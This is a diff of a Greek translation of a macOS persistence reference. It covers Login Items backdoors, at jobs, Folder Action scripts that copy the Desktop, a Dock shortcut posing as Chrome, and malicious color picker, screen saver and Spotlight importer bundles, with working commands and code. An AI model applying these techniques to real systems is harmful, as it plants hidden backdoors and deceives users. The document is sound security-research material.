(Ελέγξτε το προηγούμενο τμήμα σχετικά με τα Στοιχεία Σύνδεσης, αυτό είναι μια επέκταση)
(Ελέγξτε την προηγούμενη ενότητα σχετικά με τα Στοιχεία Σύνδεσης, αυτή είναι μια επέκταση)
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει προεπιλογή) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει από προεπιλογή) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης συνδέεται ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στον φάκελο χρήστη HOME, έτσι αν ο φάκελος LaunchAgents υπάρχει ήδη αυτή η τεχνική θα λειτουργούσε ακόμα.
Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στον φάκελο χρήστη HOME, έτσι αν ο φάκελος LaunchAgents υπάρχει ήδη, αυτή η τεχνική θα λειτουργούσε ακόμα.
### At
@ -660,9 +662,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
#### **Περιγραφή**
Τα `at` tasks είναι σχεδιασμένα για το **προγραμματισμό μιας φοράς** για να εκτελεστούν σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τα cron jobs, τα `at` tasks αφαιρούνται αυτόματα μετά την εκτέλεση. Είναι κρίσιμο να σημειωθεί ότι αυτές οι εργασίες είναι μόνιμες μετά την επανεκκίνηση του συστήματος, κάτι που τις καθιστά πιθανές πηγές ανησυχίας ασφάλειας υπό συγκεκριμένες συνθήκες.
Τα tasks του `at` σχεδιάστηκαν για το **προγραμματισμό μιας φοράς** για να εκτελεστούν σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τα cron jobs, τα tasks του `at` αφαιρούνται αυτόματα μετά την εκτέλεση. Είναι κρίσιμο να σημειωθεί ότι αυτά τα tasks είναι μόνιμα μεταξύ επανεκκινήσεων του συστήματος, κάτι που τα καθιστά πιθανές ανησυχίες ασφαλείας υπό συγκεκριμένες συνθήκες.
Από προεπιλογή είναι **απενεργοποιημένα** αλλά ο **root** χρήστης μπορεί να τα **ενεργοποιήσει** με:
Από προεπιλογή είναι **απενεργοποιημένα** αλλά ο **χρήστης root** μπορεί να τα **ενεργοποιήσει** με:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -676,7 +678,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Παραπάνω μπορούμε να δούμε δύο προγραμματισμένες εργασίες. Μπορούμε να εκτυπώσουμε τις λεπτομέρειες της εργασίας χρησιμοποιώντας `at -c JOBNUMBER`
Παραπάνω μπορούμε να δούμε δύο προγραμματισμένες εργασίες. Μπορούμε να εκτυπώσουμε τις λεπτομέρειες της εργασίας χρησιμοποιώντας την εντολή `at -c JOBNUMBER`
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -708,7 +710,7 @@ unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
Αν οι εργασίες AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
Αν οι εργασίες του AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
{% endhint %}
Τα **αρχεία εργασίας** μπορούν να βρεθούν στο `/private/var/at/jobs/`
@ -720,13 +722,13 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό της δουλειάς και την ώρα που είναι προγραμματισμένο να τρέξει. Για παράδειγμα, ας δούμε το `a0001a019bdcd2`.
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό της εργασίας και την ώρα που είναι προγραμματισμένο να τρέξει. Για παράδειγμα, ας δούμε το `a0001a019bdcd2`.
* `a` - αυτή είναι η ουρά
* `0001a` - αριθμός δουλειάς σε δεκαεξαδική μορφή, `0x1a = 26`
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, που είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`.
* `0001a` - αριθμός εργασίας σε δεκαεξαδική μορφή, `0x1a = 26`
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, το οποίο είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`.
Αν εκτυπώσουμε το αρχείο εργασίας, θα βρούμε ότι περιέχει τις ίδιες πληροφορίες που λάβαμε χρησιμοποιώντας το `at -c`.
Αν εκτυπώσουμε το αρχείο εργασίας, θα δούμε ότι περιέχει τις ίδιες πληροφορίες που λάβαμε χρησιμοποιώντας την εντολή `at -c`.
### Δράσεις Φακέλου
@ -734,7 +736,7 @@ total 32
Ανάλυση: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Αλλά χρειάζεστε τη δυνατότητα να καλέσετε το `osascript` με ορίσματα για να επικοινωνήσετε με το **`System Events`** ώστε να μπορέσετε να ρυθμίσετε Δράσεις Φακέλου
* Αλλά χρειάζεστε τη δυνατότητα να καλέσετε το `osascript` με ορίσματα για να επικοινωνήσετε με το **`System Events`** και να μπορέσετε να ρυθμίσετε Δράσεις Φακέλου
* Παράκαμψη TCC: [🟠](https://emojipedia.org/large-orange-circle)
* Διαθέτει κάποιες βασικές άδειες TCC όπως Desktop, Documents και Downloads
@ -742,19 +744,19 @@ total 32
* **`/Library/Scripts/Folder Action Scripts`**
* Απαιτείται δικαιώματα ρίζας
* **Σήμανση**: Πρόσβαση στον καθορισμένο φάκελο
* **Ενεργοποίηση**: Πρόσβαση στον καθορισμένο φάκελο
* **`~/Library/Scripts/Folder Action Scripts`**
* **Σήμανση**: Πρόσβαση στον καθορισμένο φάκελο
* **Ενεργοποίηση**: Πρόσβαση στον καθορισμένο φάκελο
#### Περιγραφή & Εκμετάλλευση
Οι Δράσεις Φακέλου είναι σενάρια που ενεργοποιούνται αυτόματα από αλλαγές σε έναν φάκελο, όπως προσθήκη, αφαίρεση στοιχείων, ή άλλες ενέργειες όπως το άνοιγμα ή η αλλαγή μεγέθους του παραθύρου του φακέλου. Αυτές οι ενέργειες μπορούν να χρησιμοποιηθούν για διάφορες εργασίες και μπορούν να ενεργοποιηθούν με διαφορετικούς τρόπους όπως η χρήση του UI του Finder ή εντολών τερματικού.
Οι Δράσεις Φακέλου είναι σενάρια που ενεργοποιούνται αυτόματα από αλλαγές σε έναν φάκελο, όπως προσθήκη, αφαίρεση στοιχείων, ή άλλες ενέργειες όπως το άνοιγμα ή η αλλαγή μεγέθους του παραθύρου του φακέλου. Αυτές οι ενέργειες μπορούν να χρησιμοποιηθούν για διάφορες εργασίες και μπορούν να ενεργοποιηθούν με διαφορετικούς τρόπους όπως χρησιμοποιώντας το UI του Finder ή εντολές τερματικού.
Για τη ρύθμιση Δράσεων Φακέλου, έχετε επιλογές όπως:
1. Δημιουργία ενός ροής εργασίας Δράσης Φακέλου με το [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάστασή του ως υπηρεσία.
2. Επισύναψη ενός σεναρίου χειροκίνητα μέσω της Ρύθμισης Δράσεων Φακέλου στο μενού περιβάλλοντος ενός φακέλου.
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για την ρύθμιση προγραμματιστικά μιας Δράσης Φακέλου.
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για τη ρύθμιση προγραμματιστικά μιας Δράσης Φακέλου.
* Αυτή η μέθοδος είναι ιδιαίτερα χρήσιμη για την ενσωμάτωση της ενέργειας στο σύστημα, προσφέροντας ένα επίπεδο διατήρησης.
Το παρακάτω σενάριο είναι ένα παράδειγμα του τι μπορεί να εκτελεστεί από μια Δράση Φακέλου:
@ -771,7 +773,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Αφού έχει συνταχθεί το σενάριο, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω σενάριο. Αυτό το σενάριο θα ενεργοποιήσει τις Δράσεις Φακέλου γενικά και θα συνδέσει ειδικά το προηγουμένως συνταγμένο σενάριο στον φάκελο της επιφάνειας εργασίας.
Αφού έχει συνταχθεί το script, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω script. Αυτό το script θα ενεργοποιήσει τις Δράσεις Φακέλου γενικά και θα συνδέσει ειδικά το προηγουμένως συνταγμένο script στον φάκελο της επιφάνειας εργασίας.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@ -785,7 +787,7 @@ fa.scripts.push(myScript);
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
* Αυτός είναι ο τρόπος για να υλοποιήσετε αυτήν την επιμονή μέσω του GUI:
* Αυτός είναι ο τρόπος για να υλοποιήσετε αυτήν την επιμονή μέσω GUI:
Αυτός είναι ο κώδικας που θα εκτελεστεί:
@ -809,36 +811,36 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Στη συνέχεια, ανοίξτε την εφαρμογή `Folder Actions Setup`, επιλέξτε τον **φάκελο που θέλετε να παρακολουθείτε** και επιλέξτε στην περίπτωσή σας το **`folder.scpt`** (στη δική μου περίπτωση το ονόμασα output2.scp):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Τώρα, αν ανοίξετε αυτόν τον φάκελο με το **Finder**, το σενάριό σας θα εκτελεστεί.
Αυτή η ρύθμιση αποθηκεύτηκε στο **plist** που βρίσκεται στο **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** σε μορφή base64.
Τώρα, ας προσπαθήσουμε να προετοιμάσουμε αυτήν την διαρκή παρουσία χωρίς πρόσβαση στο γραφικό περιβάλλον:
Τώρα, ας προσπαθήσουμε να προετοιμάσουμε αυτήν την επιμονή χωρίς πρόσβαση στο γραφικό περιβάλλον:
1. **Αντιγράψτε το `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** στο `/tmp` για αντίγραφο ασφαλείας:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **Αφαιρέστε** τις Folder Actions που μόλις ορίσατε:
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Τώρα που έχουμε ένα κενό περιβάλλον
3. Αντιγράψτε το αρχείο αντιγράφου: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
3. Αντιγράψτε το αρχείο αντιγράφου ασφαλείας: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Ανοίξτε την εφαρμογή Folder Actions Setup για να χρησιμοποιήσετε αυτήν τη ρύθμιση: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
Και αυτό δεν λειτούργησε για μένα, αλλά αυτές είναι οι οδηγίες από το άρθρο που δημοσιεύτηκε:(
Και αυτό δεν λειτούργησε για μένα, αλλά αυτές είναι οι οδηγίες από το άρθρο:(
{% endhint %}
### Dock συντομεύσεις
### Συντομεύσεις Dock
Άρθρο: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη αμμοθονίου: [](https://emojipedia.org/check-mark-button)
* Αλλά πρέπει να έχετε εγκαταστήσει μια κακόβουλη εφαρμογή μέσα στο σύστημα
* TCC παράκαμψη: [🔴](https://emojipedia.org/large-red-circle)
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
@ -850,6 +852,8 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Όλες οι εφαρμογές που εμφανίζονται στο Dock καθορίζονται μέσα στο plist: **`~/Library/Preferences/com.apple.dock.plist`**
Είναι δυνατόν να **προστεθεί μια εφαρμογή** μόνο με:
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
@ -912,12 +916,12 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
```
### Color Pickers
### Επιλογείς Χρωμάτων
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* Χρήσιμο για παράκαμψη της αμμόλοφου: [🟠](https://emojipedia.org/large-orange-circle)
* Χρειάζεται να συμβεί μια πολύ συγκεκριμένη ενέργεια
* Χρειάζεται μια πολύ συγκεκριμένη ενέργεια
* Θα καταλήξετε σε μια άλλη αμμόλοφο
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -925,19 +929,17 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
* `/Library/ColorPickers`
* Απαιτείται δικαιώματα ρίζας
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρώματος
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
* `~/Library/ColorPickers`
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρώματος
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
#### Περιγραφή & Εκμετάλλευση
**Συντάξτε ένα δέσμη επιλογέα χρώματος** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτόν για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην [ενότητα οθόνης αναμονής](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε τη δέσμη στο `~/Library/ColorPickers`.
**Συνθέστε ένα δέσμη επιλογέα χρωμάτων** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτόν για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην ενότητα [Οθόνης Προστασίας](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε τη δέσμη στο `~/Library/ColorPickers`.
Έπειτα, όταν ενεργοποιηθεί ο επιλογέας χρώματος, θα πρέπει να ενεργοποιηθεί και το δικό σας.
Έπειτα, όταν ενεργοποιηθεί ο επιλογέας χρωμάτων, θα πρέπει να ενεργοποιηθεί και το δικό σας.
Σημειώστε ότι το δυαδικό που φορτώνει τη βιβλιοθήκη σας έχει μια **πολύ περιοριστική αμμόλοφο**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
[Value]
@ -953,7 +955,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
**Ανάλυση**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**Ανάλυση**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
* Χρήσιμο για παράκαμψη αμμοθονίου: **Όχι, επειδή χρειάζεται να εκτελέσετε τη δική σας εφαρμογή**
* Χρήσιμο για παράκαμψη του sandbox: **Όχι, επειδή χρειάζεται να εκτελέσετε τη δική σας εφαρμογή**
* Παράκαμψη TCC: ???
#### Τοποθεσία
@ -962,9 +964,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
#### Περιγραφή & Εκμετάλλευση
Ένα παράδειγμα εφαρμογής με μια Επέκταση Finder Sync μπορεί **να βρεθεί εδώ**](https://github.com/D00MFist/InSync).
Ένα παράδειγμα εφαρμογής με μια Επέκταση Finder Sync μπορεί **να βρεθεί εδώ**.
Οι εφαρμογές μπορούν να έχουν `Επεκτάσεις Finder Sync`. Αυτή η επέκταση θα μπει μέσα σε μια εφαρμογή που θα εκτελεστεί. Επιπλέον, για την επέκταση να μπορεί να εκτελέσει τον κώδικά της **πρέπει να είναι υπογεγραμμένη** με κάποιο έγκυρο πιστοποιητικό ανάπτυξης της Apple, πρέπει να είναι **σε αμμοθόνη** (αν και μπορούν να προστεθούν εξαιρέσεις) και πρέπει να είναι εγγεγραμμένη με κάτι παρόμοιο με:
Οι εφαρμογές μπορούν να έχουν `Επεκτάσεις Finder Sync`. Αυτή η επέκταση θα μπει μέσα σε μια εφαρμογή που θα εκτελεστεί. Επιπλέον, για την επέκταση να μπορεί να εκτελέσει τον κώδικά της **πρέπει να είναι υπογεγραμμένη** με κάποιο έγκυρο πιστοποιητικό ανάπτυξης της Apple, πρέπει να είναι **σε sandbox** (αν και μπορούν να προστεθούν χαλαρές εξαιρέσεις) και πρέπει να είναι εγγεγραμμένη με κάτι σαν:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -989,7 +991,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
* `~/Library/Screen Savers`
* **Ενεργοποίηση**: Επιλογή του screen saver
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Περιγραφή & Εκμετάλλευση
@ -1009,7 +1011,7 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
Σημειώστε ότι επειδή μέσα στις εξουσιοδοτήσεις του δυαδικού που φορτώνει αυτόν τον κώδικα (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) μπορείτε να βρείτε το **`com.apple.security.app-sandbox`** θα βρίσκεστε **μέσα στο κοινό sandbox εφαρμογών**.
Σημειώστε ότι επειδή μέσα στα δικαιώματα του δυαδικού που φορτώνει αυτόν τον κώδικα (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) μπορείτε να βρείτε το **`com.apple.security.app-sandbox`** θα βρίσκεστε **μέσα στο κοινό sandbox εφαρμογών**.
{% endhint %}
Saver code:
@ -1078,39 +1080,39 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
@end
```
### Spotlight Plugins
### Πρόσθετα Spotlight
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Χρήσιμο για παράκαμψη της αμμοθούρας: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά θα βρεθείτε σε μια αμμοθούρα εφαρμογής
* Χρήσιμα για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά θα βρεθείτε σε ένα sandbox εφαρμογής
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
* Η αμμοθούρα φαίνεται πολύ περιορισμένη
* Το sandbox φαίνεται πολύ περιορισμένο
#### Τοποθεσία
* `~/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται από το πρόσθετο του Spotlight.
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* `/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται από το πρόσθετο του Spotlight.
* Απαιτείται δικαιώματα ρίζας
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται δικαιώματα ριζοσυστήματος
* `/System/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται από το πρόσθετο του Spotlight.
* Απαιτείται δικαιώματα ρίζας
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται δικαιώματα ριζοσυστήματος
* `Some.app/Contents/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται από το πρόσθετο του Spotlight.
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται νέα εφαρμογή
#### Περιγραφή & Εκμετάλλευση
Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη για να παρέχει στους χρήστες **γρήγορη και ολοκληρωμένη πρόσβαση στα δεδομένα στους υπολογιστές τους**.\
Για να διευκολύνει αυτήν τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια **ιδιόκτητη βάση δεδομένων** και δημιουργεί έναν δείκτη με το **να αναλύει τα περισσότερα αρχεία**, επιτρέποντας γρήγορες αναζητήσεις τόσο μέσω των ονομάτων αρχείων όσο και μέσω του περιεχομένου τους.
Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη για να παρέχει στους χρήστες γρήγορη και ολοκληρωμένη πρόσβαση στα δεδομένα στους υπολογιστές τους.\
Για να διευκολύνει αυτήν τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια ιδιόκτητη βάση δεδομένων και δημιουργεί έναν δείκτη με το να αναλύει τα περισσότερα αρχεία, επιτρέποντας έτσι γρήγορες αναζητήσεις τόσο με βάση τα ονόματα αρχείων όσο και το περιεχόμενό τους.
Η βασική μηχανική του Spotlight περιλαμβάνει ένα κεντρικό διεργασία με το όνομα 'mds', που σημαίνει **'metadata server'**. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία του Spotlight. Συμπληρώνοντας αυτό, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων του Spotlight, ή **".mdimporter bundles"**, που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο σε μια ποικιλία μορφών αρχείων.
Η βασική μηχανική του Spotlight περιλαμβάνει ένα κεντρικό διεργασία με το όνομα 'mds', που σημαίνει 'metadata server'. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρώνοντας αυτό, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων Spotlight, ή ".mdimporter bundles", που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο από μια ποικιλία μορφών αρχείων.
Τα πρόσθετα ή **`.mdimporter`** bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης κάποιας υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους **τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν**, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
Τα πρόσθετα ή `.mdimporter` bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης κάποιας υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
Είναι δυνατόν να **βρείτε όλους τους `mdimporters`** που φορτώνονται τρέχοντας:
Είναι δυνατόν να βρεθούν όλοι οι `mdimporters` που φορτώνονται τρέχοντας:
```bash
mdimport -L
Paths: id(501) (
@ -1156,15 +1158,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
Εάν ελέγξετε το Plist άλλου `mdimporter` ενδέχεται να μη βρείτε την καταχώρηση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις.
Εάν ελέγξετε το Plist άλλου `mdimporter`, ενδέχεται να μη βρείτε την καταχώριση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις.
Επιπλέον, τα προεπιλεγμένα πρόσθετα του συστήματος έχουν πάντα προτεραιότητα, έτσι ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν είναι διαφορετικά ευρετηριασμένα από τους ίδιους τους `mdimporters` της Apple.
Επιπλέον, τα προεπιλεγμένα πρόσθετα του συστήματος έχουν πάντα προτεραιότητα, έτσι ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν έχουν διαφορετικά ευρεθεί από τους ίδιους τους `mdimporters` της Apple.
{% endhint %}
Για να δημιουργήσετε το δικό σας εισαγωγέα μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, τα **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε και να τα αντικατοπτρίζετε στο **`schema.xml`**.\
Για να δημιουργήσετε το δικό σας εισαγωγέα, μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε και να τα αντικατοπτρίζετε στο **`schema.xml`**.\
Στη συνέχεια **αλλάξτε** τον κώδικα της συνάρτησης **`GetMetadataForFile`** για να εκτελεί το payload σας όταν δημιουργείται ένα αρχείο με την επεξεργασμένη επέκταση.
Τέλος **κατασκευάστε και αντιγράψτε τον νέο σας `.mdimporter`** σε μία από τις προηγούμενες τοποθεσίες και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας το **`mdimport -L.`**
Τέλος **κάντε build και αντιγράψτε τον νέο σας `.mdimporter`** σε μία από τις προηγούμενες τοποθεσίες και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας το **`mdimport -L.`**
### ~~Πίνακας Προτιμήσεων~~
